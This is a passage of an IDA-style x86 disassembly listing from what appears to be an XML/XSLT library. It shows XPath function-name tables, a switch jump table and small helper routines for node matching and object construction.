		call	sub_69B466CC
		lea	ecx, [ebp+var_28]
		call	sub_69B466CC


loc_69B672BB:				; CODE XREF: sub_69B6699A+30Dj
					; sub_69B6699A+3F4j ...
		lea	ecx, [ebp+pvarg]


loc_69B672BE:				; CODE XREF: sub_69B6699A+662j
		call	sub_69B466CC


loc_69B672C3:				; CODE XREF: sub_69B6699A+323j
					; sub_69B6699A+42Aj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B6699A	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B672D0	dd offset aBoolean	; DATA XREF: sub_69B6699A+3D9o
					; "boolean"
		dd 0FFFFFFA4h
		dd offset aConcat	; "concat"
		dd 0FFFFFF98h
		dd offset aContains	; "contains"
		dd 0FFFFFF96h
		dd offset aCount	; "count"
		dd 0FFFFFFAAh
		dd offset aCurrent	; "current"
		dd 0FFFFFF9Fh
		dd offset aElementAvailab ; "element-available"
		dd 0FFFFFF9Ch
		dd offset aFalse	; "false"
		dd 0FFFFFFA1h
		dd offset aFormatNumber	; "format-number"
		dd 0FFFFFF9Ah
		dd offset aFormatnumber	; "formatNumber"
		dd 0FFFFFF99h
		dd offset aFunctionAvaila ; "function-available"
		dd 0FFFFFF9Bh
		dd offset aId		; "id"
		dd 0FFFFFFC6h
		dd offset aLast		; "last"
		dd 0FFFFFFACh
		dd offset aLocalName	; "local-name"
		dd 0FFFFFFA8h
		dd offset aName		; "name"
		dd 0FFFFFFA6h
		dd offset aNamespaceUri	; "namespace-uri"
		dd 0FFFFFFA7h
		dd offset aNormalizeSpace ; "normalize-space"
		dd 0FFFFFF91h
		dd offset aNot_0	; "not"
		dd 0FFFFFFA0h
		dd offset aNumber	; "number"
		dd 0FFFFFFA3h
		dd offset aPosition	; "position"
		dd 0FFFFFFABh
		dd offset aStartsWith	; "starts-with"
		dd 0FFFFFF97h
		dd offset aString	; "string"
		dd 0FFFFFFA5h
		dd offset aStringLength	; "string-length"
		dd 0FFFFFF92h
		dd offset aSubstring	; "substring"
		dd 0FFFFFF93h
		dd offset aSubstringAfter ; "substring-after"
		dd 0FFFFFF94h
		dd offset aSubstringBefor ; "substring-before"
		dd 0FFFFFF95h
		dd offset aSystemProperty ; "system-property"
		dd 0FFFFFF9Eh
		dd offset aTranslate	; "translate"
		db 90h
		db 3 dup(0FFh)
		dd offset aTrue		; "true"
		dd 0FFFFFFA2h

; =============== S U B	R O U T	I N E =======================================



sub_69B673B0	proc near		; DATA XREF: .text:69B156BCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+10h]
		xor	ebx, ebx
		dec	eax
		cmp	eax, 0Ch	; switch 13 cases
		push	edi
		ja	loc_69B67458	; default
		jmp	ds:off_69B6748F[eax*4] ; switch	jump


loc_69B673CB:				; DATA XREF: .text:off_69B6748Fo
		mov	eax, offset off_69B67568 ; jumptable 69B673C4 case 0
		jmp	short loc_69B67429
; ---------------------------------------------------------------------------


loc_69B673D2:				; CODE XREF: sub_69B673B0+14j
					; DATA XREF: .text:off_69B6748Fo
		mov	eax, offset off_69B67578 ; jumptable 69B673C4 case 1
		jmp	short loc_69B67429
; ---------------------------------------------------------------------------


loc_69B673D9:				; CODE XREF: sub_69B673B0+14j
					; DATA XREF: .text:off_69B6748Fo
		mov	eax, offset off_69B67558 ; jumptable 69B673C4 case 2
		jmp	short loc_69B67429
; ---------------------------------------------------------------------------


loc_69B673E0:				; CODE XREF: sub_69B673B0+14j
					; DATA XREF: .text:off_69B6748Fo
		mov	eax, offset off_69B67558 ; jumptable 69B673C4 case 3
		mov	ebx, offset off_69B29CC4
		jmp	short loc_69B67429
; ---------------------------------------------------------------------------


loc_69B673EC:				; CODE XREF: sub_69B673B0+14j
					; DATA XREF: .text:off_69B6748Fo
		mov	eax, offset off_69B674C4 ; jumptable 69B673C4 case 4
		jmp	short loc_69B67429
; ---------------------------------------------------------------------------


loc_69B673F3:				; CODE XREF: sub_69B673B0+14j
					; DATA XREF: .text:off_69B6748Fo
		mov	eax, offset off_69B674D4 ; jumptable 69B673C4 case 5
		jmp	short loc_69B67429
; ---------------------------------------------------------------------------


loc_69B673FA:				; CODE XREF: sub_69B673B0+14j
					; DATA XREF: .text:off_69B6748Fo
		mov	eax, offset off_69B674E8 ; jumptable 69B673C4 case 6
		jmp	short loc_69B67429
; ---------------------------------------------------------------------------


loc_69B67401:				; CODE XREF: sub_69B673B0+14j
					; DATA XREF: .text:off_69B6748Fo
		mov	eax, offset off_69B67508 ; jumptable 69B673C4 case 7
		jmp	short loc_69B67429
; ---------------------------------------------------------------------------


loc_69B67408:				; CODE XREF: sub_69B673B0+14j
					; DATA XREF: .text:off_69B6748Fo
		mov	eax, offset off_69B67518 ; jumptable 69B673C4 case 8
		jmp	short loc_69B67429
; ---------------------------------------------------------------------------


loc_69B6740F:				; CODE XREF: sub_69B673B0+14j
					; DATA XREF: .text:off_69B6748Fo
		mov	eax, offset off_69B674F8 ; jumptable 69B673C4 case 9
		jmp	short loc_69B67429
; ---------------------------------------------------------------------------


loc_69B67416:				; CODE XREF: sub_69B673B0+14j
					; DATA XREF: .text:off_69B6748Fo
		mov	eax, offset off_69B67528 ; jumptable 69B673C4 case 10
		jmp	short loc_69B67429
; ---------------------------------------------------------------------------


loc_69B6741D:				; CODE XREF: sub_69B673B0+14j
					; DATA XREF: .text:off_69B6748Fo
		mov	eax, offset off_69B67538 ; jumptable 69B673C4 case 11
		jmp	short loc_69B67429
; ---------------------------------------------------------------------------


loc_69B67424:				; CODE XREF: sub_69B673B0+14j
					; DATA XREF: .text:off_69B6748Fo
		mov	eax, offset off_69B67548 ; jumptable 69B673C4 case 12


loc_69B67429:				; CODE XREF: sub_69B673B0+20j
					; sub_69B673B0+27j ...
		mov	edi, [esp+0Ch+arg_4]
		mov	edx, [edi]
		push	eax
		mov	eax, dword_69B9B308
		push	dword ptr [eax+8]
		mov	ecx, edi
		call	dword ptr [edx+0ACh]
		test	ebx, ebx
		jz	short loc_69B67458 ; default
		mov	ecx, dword_69B9B328
		mov	eax, [edi]
		push	ebx
		push	dword ptr [ecx+8]
		mov	ecx, edi
		call	dword ptr [eax+0ACh]


loc_69B67458:				; CODE XREF: sub_69B673B0+Ej
					; sub_69B673B0+92j
		mov	eax, [esi+14h]	; default
		test	eax, eax
		mov	ebx, [eax+0Ch]
		jz	short loc_69B67489
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_69B67489


loc_69B67468:				; CODE XREF: sub_69B673B0+D7j
		mov	ecx, [esi+14h]
		push	edi
		call	sub_69B8A163
		test	eax, eax
		jz	short loc_69B67484
		push	[esp+0Ch+arg_4]
		mov	edx, [eax]
		push	[esp+10h+arg_0]
		mov	ecx, eax
		call	dword ptr [edx+5Ch]


loc_69B67484:				; CODE XREF: sub_69B673B0+C3j
		inc	edi
		cmp	edi, ebx
		jl	short loc_69B67468


loc_69B67489:				; CODE XREF: sub_69B673B0+B0j
					; sub_69B673B0+B6j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B673B0	endp

; ---------------------------------------------------------------------------
off_69B6748F	dd offset loc_69B673CB	; DATA XREF: sub_69B673B0+14r
		dd offset loc_69B673D2	; jump table for switch	statement
		dd offset loc_69B673D9
		dd offset loc_69B673E0
		dd offset loc_69B673EC
		dd offset loc_69B673F3
		dd offset loc_69B673FA
		dd offset loc_69B67401
		dd offset loc_69B67408
		dd offset loc_69B6740F
		dd offset loc_69B67416
		dd offset loc_69B6741D
		dd offset loc_69B67424
		align 4
off_69B674C4	dd offset off_69B17D10	; DATA XREF: sub_69B673B0:loc_69B673ECo
		dd 0
		dd 6
		dd offset aConcat_0	; "concat"
off_69B674D4	dd offset off_69B17D10	; DATA XREF: sub_69B673B0:loc_69B673F3o
		dd 0
		dd 0Bh
		dd offset aStartsWith_0	; "starts-with"
		align 8
off_69B674E8	dd offset off_69B17D10	; DATA XREF: sub_69B673B0:loc_69B673FAo
		align 10h
		dd 8
		dd offset aContains_0	; "contains"
off_69B674F8	dd offset off_69B17D10	; DATA XREF: sub_69B673B0:loc_69B6740Fo
		align 10h
		dd 9
		dd offset aSubstring_0	; "substring"
off_69B67508	dd offset off_69B17D10	; DATA XREF: sub_69B673B0:loc_69B67401o
		align 10h
		dd 10h
		dd offset aSubstringBef_0 ; "substring-before"
off_69B67518	dd offset off_69B17D10	; DATA XREF: sub_69B673B0:loc_69B67408o
		align 10h
		dd 0Fh
		dd offset aSubstringAft_0 ; "substring-after"
off_69B67528	dd offset off_69B17D10	; DATA XREF: sub_69B673B0:loc_69B67416o
		align 10h
		dd 0Dh
		dd offset aStringLength_0 ; "string-length"
off_69B67538	dd offset off_69B17D10	; DATA XREF: sub_69B673B0:loc_69B6741Do
		align 10h
		dd 0Fh
		dd offset aNormalizeSpa_0 ; "normalize-space"
off_69B67548	dd offset off_69B17D10	; DATA XREF: sub_69B673B0:loc_69B67424o
		align 10h
		dd 9
		dd offset aTranslate_0	; "translate"
off_69B67558	dd offset off_69B17D10	; DATA XREF: sub_69B673B0:loc_69B673D9o
					; sub_69B673B0:loc_69B673E0o
		align 10h
		dd 0Dh
		dd offset aFormatNumber_0 ; "format-number"
off_69B67568	dd offset off_69B17D10	; DATA XREF: sub_69B673B0:loc_69B673CBo
		align 10h
		dd 12h
		dd offset aFunctionAvai_0 ; "function-available"
off_69B67578	dd offset off_69B17D10	; DATA XREF: sub_69B673B0:loc_69B673D2o
		align 10h
		dd 11h
		dd offset aElementAvail_0 ; "element-available"
aConcat_0:				; DATA XREF: .text:69B674D0o
		unicode	0, <concat>,0
		align 4
aStartsWith_0:				; DATA XREF: .text:69B674E0o
		unicode	0, <starts-with>,0
aContains_0:				; DATA XREF: .text:69B674F4o
		unicode	0, <contains>,0
		align 8
aSubstring_0:				; DATA XREF: .text:69B67504o
		unicode	0, <substring>,0
aSubstringBef_0:			; DATA XREF: .text:69B67514o
		unicode	0, <substring-before>,0
		align 10h
aSubstringAft_0:			; DATA XREF: .text:69B67524o
		unicode	0, <substring-after>,0
aStringLength_0:			; DATA XREF: .text:69B67534o
		unicode	0, <string-length>,0
aNormalizeSpa_0:			; DATA XREF: .text:69B67544o
		unicode	0, <normalize-space>,0
aTranslate_0:				; DATA XREF: .text:69B67554o
		unicode	0, <translate>,0
aFormatNumber_0:			; DATA XREF: .text:69B67564o
		unicode	0, <format-number>,0
aFunctionAvai_0:			; DATA XREF: .text:69B67574o
		unicode	0, <function-available>,0
		align 4
aElementAvail_0:			; DATA XREF: .text:69B67584o
		unicode	0, <element-available>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B676D8	proc near		; DATA XREF: .text:69B15654o
		sub	ecx, 8
		jmp	sub_69B6680A
sub_69B676D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B676E0	proc near		; CODE XREF: sub_69B667FD+3j
					; DATA XREF: .text:69B1568Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		call	sub_69B653F7
		test	[esp+4+arg_0], 1
		jz	short loc_69B67700
		push	esi
		call	sub_69B1829F


loc_69B67700:				; CODE XREF: sub_69B676E0+18j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B676E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67706	proc near		; CODE XREF: sub_69B5F498+172p
					; sub_69B62A6D+E2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B155E8 SIZE 00000032 BYTES

		push	18h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B67718
		mov	ecx, eax
		jmp	loc_69B155E8
; ---------------------------------------------------------------------------


loc_69B67718:				; CODE XREF: sub_69B67706+9j
		xor	eax, eax
		retn	8
sub_69B67706	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6771D	proc near		; CODE XREF: sub_69B67760+3j
					; DATA XREF: .text:69B15764o
		mov	eax, offset off_69B67724
		retn
sub_69B6771D	endp

; ---------------------------------------------------------------------------
		align 4
off_69B67724	dd offset off_69B29C74	; DATA XREF: sub_69B6771Do
		dd offset sub_69B6C893

; =============== S U B	R O U T	I N E =======================================



sub_69B6772C	proc near		; DATA XREF: .text:69B15734o
		mov	ecx, [ecx+8]
		mov	eax, [ecx]
		jmp	dword ptr [eax+4Ch]
sub_69B6772C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67734	proc near		; DATA XREF: .text:69B15738o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	ecx, [ecx+8]
		push	[esp+4+arg_4]
		mov	eax, [ecx]
		push	[esp+8+arg_0]
		call	dword ptr [eax+50h]
		mov	eax, dword_69B9A1D0[eax*4]
		retn	0Ch
sub_69B67734	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67752	proc near		; DATA XREF: .text:69B15780o
		mov	eax, dword_69B9B3B8
		retn
sub_69B67752	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67758	proc near		; DATA XREF: .text:69B15784o
		mov	ecx, [ecx+10h]
		mov	eax, [ecx]
		jmp	dword ptr [eax+5Ch]
sub_69B67758	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67760	proc near		; DATA XREF: .text:69B15704o
		sub	ecx, 8
		jmp	short sub_69B6771D
sub_69B67760	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67765	proc near		; DATA XREF: .text:69B1557Co
					; .text:69B1571Co ...
		sub	ecx, 8
		jmp	sub_69B65760
sub_69B67765	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6776D	proc near		; CODE XREF: sub_69B5F498+C4p
					; sub_69B6229B+EBp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B156C0 SIZE 00000027 BYTES

		push	14h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6777F
		mov	ecx, eax
		jmp	loc_69B156C0
; ---------------------------------------------------------------------------


loc_69B6777F:				; CODE XREF: sub_69B6776D+9j
		xor	eax, eax
		retn	4
sub_69B6776D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67784	proc near		; CODE XREF: sub_69B67AF7+3j
					; .text:69B67B02j
					; DATA XREF: ...
		mov	eax, offset off_69B29718
		retn
sub_69B67784	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6778A	proc near		; DATA XREF: .text:69B130DCo
		push	esi
		mov	esi, ecx
		call	sub_69B6CA4E
		cmp	dword ptr [esi+3Ch], 0Fh
		pop	esi
		jnz	short loc_69B6779F
		and	eax, 302h
		retn
; ---------------------------------------------------------------------------


loc_69B6779F:				; CODE XREF: sub_69B6778A+Dj
		and	eax, 303h
		retn
sub_69B6778A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B677A5	proc near		; DATA XREF: .text:69B13050o
					; .text:69B136C8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		mov	eax, [ecx]
		push	[esp+4+arg_0]
		call	dword ptr [eax+54h]
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	8
sub_69B677A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B677BA	proc near		; CODE XREF: sub_69B6799B+Ap
					; sub_69B68E45+16p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_69B8A19B
		xor	ecx, ecx
		test	eax, eax
		setnl	cl
		mov	al, cl
		retn	4
sub_69B677BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B677CF	proc near		; DATA XREF: .text:69B13038o
					; .text:69B13180o ...
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, [esi+20h]
		shr	ebx, 2
		not	bl
		push	edi
		and	bl, 1
		call	sub_69B6CC3B
		test	bl, bl
		mov	edi, eax
		jz	short loc_69B677F2
		lea	ecx, [esi-10h]
		call	sub_69B65903


loc_69B677F2:				; CODE XREF: sub_69B677CF+19j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B677CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B677F8	proc near		; DATA XREF: .text:69B13128o
		mov	eax, dword_69B9B3F8
		retn
sub_69B677F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B677FE	proc near		; CODE XREF: sub_69B6787C+12p
					; sub_69B678AC+1Ep ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		xor	eax, eax
		mov	al, [esi]
		and	eax, 0FFFFFF01h
		push	eax
		push	[esp+8+arg_0]
		push	esi
		call	sub_69B2DFD1
		mov	eax, esi
		pop	esi
		retn	4
sub_69B677FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6781B	proc near		; CODE XREF: sub_69B67A6D+71p
					; sub_69B67B17+3Ap ...

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_4]
		mov	esi, ecx
		lea	edi, [esi+40h]
		push	edi
		call	sub_69B17320
		push	[esp+0Ch+arg_8]
		lea	ebx, [esi+3Ch]
		push	ebx
		call	sub_69B17320
		mov	ecx, [esp+0Ch+arg_C]
		xor	edx, edx
		xor	eax, eax
		inc	edx
		cmp	[edi], eax
		mov	[esi+44h], ecx
		jnz	short loc_69B6784E
		cmp	[ebx], eax
		jz	short loc_69B67850


loc_69B6784E:				; CODE XREF: sub_69B6781B+2Dj
		mov	eax, edx


loc_69B67850:				; CODE XREF: sub_69B6781B+31j
		xor	ebx, ebx
		cmp	ecx, edx
		setz	bl
		xor	ecx, ecx
		mov	cl, [esp+0Ch+arg_0]
		and	eax, edx
		pop	edi
		and	ebx, edx
		shl	ebx, 1
		and	ecx, edx
		or	ebx, ecx
		mov	ecx, [esi+48h]
		shl	ebx, 1
		and	ecx, 0FFFFFFF8h
		or	ebx, ecx
		or	ebx, eax
		mov	[esi+48h], ebx
		pop	esi
		pop	ebx
		retn	10h
sub_69B6781B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6787C	proc near		; CODE XREF: sub_69B67D9D+2Bp
					; sub_69B69268+25p
					; DATA XREF: ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+4], 0
		jnz	short loc_69B67897
		push	[ebp+arg_4]
		lea	ecx, [esi+28h]
		call	sub_69B677FE
		and	[ebp+arg_4], 0


loc_69B67897:				; CODE XREF: sub_69B6787C+Aj
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B6CD21
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B6787C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B678AC	proc near		; CODE XREF: sub_69B67B07+3j
					; sub_69B67B0F+3j ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17320
		push	0
		lea	ecx, [esi+38h]
		call	sub_69B677FE
		mov	ecx, esi
		pop	esi
		jmp	sub_69B6CBC6
sub_69B678AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B678D7	proc near		; CODE XREF: sub_69B67960+10p
					; sub_69B67B5D+17p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		mov	esi, ecx
		jz	short loc_69B67955
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		test	byte ptr [esi+48h], 4
		jz	short loc_69B678FC
		cmp	eax, 1
		jz	short loc_69B6791F
		cmp	eax, 6
		jz	short loc_69B6791F
		jmp	short loc_69B67955
; ---------------------------------------------------------------------------


loc_69B678FC:				; CODE XREF: sub_69B678D7+17j
		mov	ecx, [esi+44h]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_69B6791F
		cmp	eax, ecx
		jnz	short loc_69B67955
		cmp	dword ptr [esi+0Ch], 1
		jnz	short loc_69B6791F
		cmp	ecx, 5
		jnz	short loc_69B6791F
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+48h]
		cmp	eax, 12h
		jz	short loc_69B67955


loc_69B6791F:				; CODE XREF: sub_69B678D7+1Cj
					; sub_69B678D7+21j ...
		test	byte ptr [esi+48h], 1
		jz	short loc_69B67959
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jz	short loc_69B67955
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		mov	edx, [eax+8]
		jz	short loc_69B6793F
		cmp	ecx, [edx+14h]
		jnz	short loc_69B67955


loc_69B6793F:				; CODE XREF: sub_69B678D7+61j
		test	byte ptr [esi+48h], 2
		jz	short loc_69B6794D
		mov	eax, [esi+40h]
		cmp	eax, [edx+10h]
		jmp	short loc_69B67953
; ---------------------------------------------------------------------------


loc_69B6794D:				; CODE XREF: sub_69B678D7+6Cj
		mov	ecx, [esi+40h]
		cmp	ecx, [eax+0Ch]


loc_69B67953:				; CODE XREF: sub_69B678D7+74j
		jz	short loc_69B67959


loc_69B67955:				; CODE XREF: sub_69B678D7+Aj
					; sub_69B678D7+23j ...
		xor	al, al
		jmp	short loc_69B6795B
; ---------------------------------------------------------------------------


loc_69B67959:				; CODE XREF: sub_69B678D7+4Cj
					; sub_69B678D7:loc_69B67953j
		mov	al, 1


loc_69B6795B:				; CODE XREF: sub_69B678D7+80j
		pop	edi
		pop	esi
		retn	4
sub_69B678D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67960	proc near		; DATA XREF: .text:69B13044o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		mov	esi, ecx
		jz	short loc_69B67994
		push	edi
		lea	ecx, [esi-10h]
		call	sub_69B678D7
		test	al, al
		jz	short loc_69B67994
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_69B67990
		mov	eax, [ecx]
		push	edi
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	dword ptr [eax+4Ch]
		jmp	short loc_69B67996
; ---------------------------------------------------------------------------


loc_69B67990:				; CODE XREF: sub_69B67960+1Ej
		mov	eax, edi
		jmp	short loc_69B67996
; ---------------------------------------------------------------------------


loc_69B67994:				; CODE XREF: sub_69B67960+Aj
					; sub_69B67960+17j
		xor	eax, eax


loc_69B67996:				; CODE XREF: sub_69B67960+2Ej
					; sub_69B67960+32j
		pop	edi
		pop	esi
		retn	0Ch
sub_69B67960	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6799B	proc near		; DATA XREF: .text:69B13048o
					; .text:69B13190o ...

arg_0		= dword	ptr  4

		push	dword_69B95A18
		mov	ecx, [esp+4+arg_0]
		call	sub_69B677BA
		test	al, al
		jnz	short locret_69B679BD
		push	dword_69B95A18
		mov	ecx, [esp+4+arg_0]
		call	sub_69B8A35C

locret_69B679BD:			; CODE XREF: sub_69B6799B+11j
		retn	4
sub_69B6799B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B679C0	proc near		; DATA XREF: .text:69B1313Co
					; .text:69B13284o ...

arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_4]
		push	edi
		mov	edi, ecx
		mov	eax, [edi+44h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_69B679F2
		cmp	eax, 0Fh
		jz	short loc_69B679F2
		mov	ecx, dword_69B9B318
		mov	ebx, [ecx+8]
		mov	ebp, [esi]
		push	eax
		call	sub_69B2F0F7
		push	eax
		push	ebx
		mov	ecx, esi
		call	dword ptr [ebp+0ACh]


loc_69B679F2:				; CODE XREF: sub_69B679C0+10j
					; sub_69B679C0+15j
		mov	eax, [edi+48h]
		test	al, 1
		jz	short loc_69B67A42
		mov	ecx, [edi+40h]
		test	ecx, ecx
		jz	short loc_69B67A22
		test	al, 2
		mov	eax, dword_69B9B328
		jnz	short loc_69B67A0E
		mov	eax, dword_69B9B330


loc_69B67A0E:				; CODE XREF: sub_69B679C0+47j
		mov	ebx, [eax+8]
		mov	eax, [ecx]
		mov	ebp, [esi]
		call	dword ptr [eax+2Ch]
		push	eax
		push	ebx
		mov	ecx, esi
		call	dword ptr [ebp+0ACh]


loc_69B67A22:				; CODE XREF: sub_69B679C0+3Ej
		mov	ecx, [edi+3Ch]
		test	ecx, ecx
		jz	short loc_69B67A42
		mov	eax, dword_69B9B320
		mov	edi, [eax+8]
		mov	eax, [ecx]
		mov	ebx, [esi]
		call	dword ptr [eax+2Ch]
		push	eax
		push	edi
		mov	ecx, esi
		call	dword ptr [ebx+0ACh]


loc_69B67A42:				; CODE XREF: sub_69B679C0+37j
					; sub_69B679C0+67j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	8
sub_69B679C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67A49	proc near		; CODE XREF: sub_69B67BD2+38p
					; sub_69B67FBD+Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	cl, [eax]
		mov	eax, [eax]
		and	eax, 0FFFFFFFEh
		and	ecx, 0FFFFFF01h
		push	ecx
		push	eax
		push	esi
		call	sub_69B2DFD1
		mov	eax, esi
		pop	esi
		retn	4
sub_69B67A49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B67A6D	proc near		; CODE XREF: sub_69B67CEB+28p
					; sub_69B68013+1Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_1C]
		mov	esi, ecx
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		call	sub_69B6D314
		movzx	eax, byte ptr [ebp+arg_1C]
		mov	dword ptr [esi], offset	off_69B130F0
		mov	dword ptr [esi+8], offset off_69B13090
		mov	dword ptr [esi+10h], offset off_69B12FF8
		mov	[esi+38h], eax
		movzx	eax, byte ptr [ebp+arg_14]
		shl	eax, 2
		xor	eax, [esi+48h]
		and	eax, 4
		xor	[esi+48h], eax
		cmp	dword ptr [esi+0Ch], 1
		jz	short loc_69B67ACB
		cmp	[ebp+arg_4], 0
		mov	eax, [ebp+arg_8]
		jz	short loc_69B67AC5
		test	eax, eax
		jnz	short loc_69B67ACB
		cmp	[ebp+arg_10], 0Fh
		jnz	short loc_69B67ACB


loc_69B67AC5:				; CODE XREF: sub_69B67A6D+4Cj
		mov	byte ptr [ebp+arg_14], 0
		jmp	short loc_69B67AD2
; ---------------------------------------------------------------------------


loc_69B67ACB:				; CODE XREF: sub_69B67A6D+43j
					; sub_69B67A6D+50j ...
		mov	eax, [ebp+arg_4]
		mov	byte ptr [ebp+arg_14], 1


loc_69B67AD2:				; CODE XREF: sub_69B67A6D+5Cj
		push	[ebp+arg_10]
		mov	ecx, esi
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_14]
		call	sub_69B6781B
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	20h
sub_69B67A6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_69B67AEA	proc near		; DATA XREF: .text:69B12C80o
					; .text:69B13058o ...
		jmp	sub_69B6D410
sub_69B67AEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67AEF	proc near		; DATA XREF: .text:69B1309Co
					; .text:69B13714o

arg_0		= byte ptr  4

		sub	ecx, 8
		jmp	sub_69B69319
sub_69B67AEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67AF7	proc near		; DATA XREF: .text:69B130ACo
		sub	ecx, 8
		jmp	sub_69B67784
sub_69B67AF7	endp

; ---------------------------------------------------------------------------


loc_69B67AFF:				; DATA XREF: .text:69B13014o
		sub	ecx, 10h
		jmp	sub_69B67784

; =============== S U B	R O U T	I N E =======================================



sub_69B67B07	proc near		; DATA XREF: .text:69B130C4o
					; .text:69B1373Co
		sub	ecx, 8
		jmp	sub_69B678AC
sub_69B67B07	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67B0F	proc near		; DATA XREF: .text:69B1302Co
					; .text:69B136A4o
		sub	ecx, 10h
		jmp	sub_69B678AC
sub_69B67B0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67B17	proc near		; CODE XREF: sub_69B67D20+12p
					; sub_69B6934C-8Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		mov	esi, ecx
		call	sub_69B6D314
		movzx	eax, byte ptr [esp+8+arg_0]
		push	0FFFFFFFFh
		push	edi
		mov	dword ptr [esi], offset	off_69B130F0
		mov	dword ptr [esi+8], offset off_69B13090
		mov	dword ptr [esi+10h], offset off_69B12FF8
		mov	[esi+38h], eax
		push	edi
		mov	[esi+3Ch], edi
		push	edi
		mov	ecx, esi
		mov	[esi+40h], edi
		call	sub_69B6781B
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B67B17	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B67B5D	proc near		; DATA XREF: .text:69B13134o
					; .text:69B137ACo
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+14h], 0
		push	edi
